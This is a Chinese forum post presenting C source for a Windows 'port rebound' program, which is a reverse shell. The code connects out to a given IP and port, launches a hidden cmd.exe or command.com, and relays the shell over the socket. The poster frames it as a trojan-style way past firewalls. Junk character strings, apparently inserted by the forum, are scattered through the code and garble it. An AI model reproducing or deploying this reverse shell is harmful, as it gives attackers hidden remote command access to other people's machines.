社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6092阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )="g?E3  
7C 6BZ$(  
/* ============================== %%-Tjw o  
Rebound port in Windows NT 9"l%tq_  
By wind,2006/7 9i xnf=$Jp  
===============================*/ Zq6ebj  
#include @rDv (W  
#include 4h2bk\z-  
N'1[t  
#pragma comment(lib,"wsock32.lib") ,'@ISCK^  
'\3.isTsx  
void OutputShell(); ,\">ovV33  
SOCKET sClient; k? _$h<Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;:K?7wfXn  
MJk:s[o  
void main(int argc,char **argv) HoQ(1e$G-  
{ 8B(Q7Qj  
WSADATA stWsaData; m$e@<~To  
int nRet; boHm1hPKS  
SOCKADDR_IN stSaiClient,stSaiServer; 8C4@V[sm`  
B\~3p4S  
if(argc != 3) 085 ^!AZ  
{ m~\m"zJ4  
printf("Useage:\n\rRebound DestIP DestPort\n"); Uu<sntyv  
return; b9!J}hto,  
} #p^pvdvh3  
U*#E aL  
WSAStartup(MAKEWORD(2,2),&stWsaData); :r[-7 [/  
'"NdT7*+  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JZ*?1S>  
~s^6Q#Z9|  
stSaiClient.sin_family = AF_INET; dYttse'  
stSaiClient.sin_port = htons(0); 1 bx^Pt)  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dXr !_)i  
$[9V'K  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Vf* B1Zb  
{ ]4pC\0c  
printf("Bind Socket Failed!\n"); )fcpE,g'  
return; [;\< 2=H  
} r4qV}-E  
UM;bVf?  
stSaiServer.sin_family = AF_INET; Xv;ZAa  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kA$;vbm  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >w'?DV>u|  
xo@/k   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w[7HY@[  
{ l=G#gKE  
printf("Connect Error!"); 'Rf#1ls#  
return; n@8{FoF  
} qv >(  
OutputShell(); XT;IEZQZ  
} 7UnO/K7oB.  
Kh_>Vm/  
void OutputShell() vt7C  
{ :=fHPT  
char szBuff[1024]; E~U|v'GCd  
SECURITY_ATTRIBUTES stSecurityAttributes; ZtZV:re=  
OSVERSIONINFO stOsversionInfo; a[OLS+zf!P  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; S| ?--vai_  
STARTUPINFO stStartupInfo; uaMm iR  
char *szShell; RAJ |#I1  
PROCESS_INFORMATION stProcessInformation; Kwmo)|7uPU  
unsigned long lBytesRead; ;bu;t#  
+(hwe jyC  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); sjbC~Te--  
jF2GHyB  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #pxet  
stSecurityAttributes.lpSecurityDescriptor = 0; |r!Qhb.!  
stSecurityAttributes.bInheritHandle = TRUE; ;C@^wI  
.ceU @^  
M> l+[U  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jT_Tx\k  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); WN?`Od:y  
fpC@3itI  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [IX!3I[J]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {ca^yHgGy  
stStartupInfo.wShowWindow = SW_HIDE; o".O#^3H%  
stStartupInfo.hStdInput = hReadPipe; 9S`b7U=P  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x6mq['_  
g0 U\AN  
GetVersionEx(&stOsversionInfo); z+`)|c4-  
:BiR6>1:  
switch(stOsversionInfo.dwPlatformId) ymJw{&^am  
{ B~?Q. <M  
case 1: Yl3PZ*#@ Q  
szShell = "command.com"; CF 0IP  
break; QRix_2+  
default: GOgT(.5  
szShell = "cmd.exe"; ]t0S_ UH$  
break; V)?g4M3}  
} i(#c Yb  
rm;"98~zJ?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); H%jIjf  
4E94W,1%,Y  
send(sClient,szMsg,77,0); LPgI"6cP  
while(1) = nN*9HRD  
{ |xC TX  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X64I~*  
if(lBytesRead) vWga>IGM  
{ LU=)\U@Q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); f*@:{2I.v  
send(sClient,szBuff,lBytesRead,0); 9E*K44L/V  
} <W{0@?y  
else "+Yn;9  
{ q.Mck9R7  
lBytesRead=recv(sClient,szBuff,1024,0); !S}Au Mw  
if(lBytesRead<=0) break; @_Oe`j^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z9EQ|WfS#-  
} jiD8|%}v  
} a#j^gu$m  
2fA9L _:0  
return; `)P_X4e]`  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五